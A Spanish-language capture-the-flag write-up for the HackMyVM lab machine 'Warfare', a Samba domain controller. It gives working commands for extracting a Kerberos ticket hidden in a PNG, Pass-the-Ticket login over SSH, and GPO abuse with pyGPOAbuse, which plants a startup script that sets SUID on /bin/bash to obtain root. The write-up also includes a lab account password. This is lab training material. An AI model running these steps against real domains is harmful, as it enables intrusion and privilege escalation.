cd ~/blog

~/writeups/hmv/141-warfare.md

141 - Warfare

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Kerberos Credential Cache Disclosure mediante SteganographyPass-the-Ticket mediante SSH GSSAPIGroup Policy Object Abuse mediante pyGPOAbuse
hackmyvm.eu/machines/machine.php?vm=Warfare

~1 min de lectura


Enumeración del dominio

Enumeramos puertos: es un Domain Controller (Active Directory sobre Samba, dominio warfare.local):

❯ nmap -sCV -p 22,53,80,88,135,139,389,445,464,636,3268,3269,... -oN 02-targeted.txt 10.212.91.55
...
22/tcp open  ssh          OpenSSH 10.0p2 Debian 7
80/tcp open  http         WEBrick httpd 1.8.2 (Ruby 3.3.8)
88/tcp open  kerberos-sec
389/tcp open ldap          (Anonymous bind OK)
| ssl-cert: Subject: commonName=WARFAREDC.warfare.local/organizationName=Samba Administration
...

Acceso inicial mediante Pass-the-Ticket

Descargamos logo.png desde la web y extraemos con steg-png los datos ocultos en la imagen:

❯ ~/bin/steg-png extract logo.png
❯ strings logo.png.out
WARFARE.LOCAL
robert
...
"krbtgt/WARFARE.LOCAL@WARFARE.LOCAL
...

La referencia a krbtgt/WARFARE.LOCAL identifica un Ticket Granting Ticket dentro de una credential cache de Kerberos. Asignamos el archivo a KRB5CCNAME para que las herramientas de Kerberos lo utilicen y comprobamos con klist que su principal es robert@WARFARE.LOCAL y que el ticket está vigente:

❯ export KRB5CCNAME=logo.png.out
❯ klist -e -a
Ticket cache: FILE:logo.png.out
Default principal: robert@WARFARE.LOCAL

Valid starting     Expires            Service principal
07/10/25 19:52:04  08/10/25 05:52:04  krbtgt/WARFARE.LOCAL@WARFARE.LOCAL
...

Añadimos el nombre del controlador de dominio a /etc/hosts, porque Kerberos depende de nombres coherentes con el principal del servicio. Después realizamos Pass-the-Ticket mediante GSSAPI: ssh -K presenta la credencial ya cargada en lugar de solicitar la contraseña de robert:

❯ ssh -K robert@warfaredc.warfare.local
...
WARFARE\robert@warfaredc:~$

Escalada mediante Group Policy Object Abuse

Tras obtener la primera flag, usamos pyGPOAbuse contra una GPO modificable por la cuenta comprometida. El Group Policy Object Abuse añade un script de arranque Linux a la política. Cuando el controlador procesa esa GPO, ejecuta el script como root y añade SUID a Bash:

❯ cat pwned.sh
#!/bin/bash
chmod u+s /bin/bash

❯ python3 pygpoabuse.py 'warfare.local/robert':'.:.crossroadSBlues!' -dc-ip 10.212.91.55 -gpo-id '6BB6659D-BFAD-44B1-8B36-066C35CE2931' --linux-exec ../pwned.sh
[+] SUCCESS:root:executable 'pwned.sh' created in ...\Scripts\Startup

La política no se aplica de forma instantánea. Después del intervalo registrado, el bit SUID de Bash confirma que el script fue procesado con privilegios:

WARFARE\robert@warfaredc:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1298416 Jul 30 15:28 /bin/bash

WARFARE\robert@warfaredc:/tmp$ bash -p
bash-5.2# whoami
root

bash -p conserva el UID efectivo y whoami confirma root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados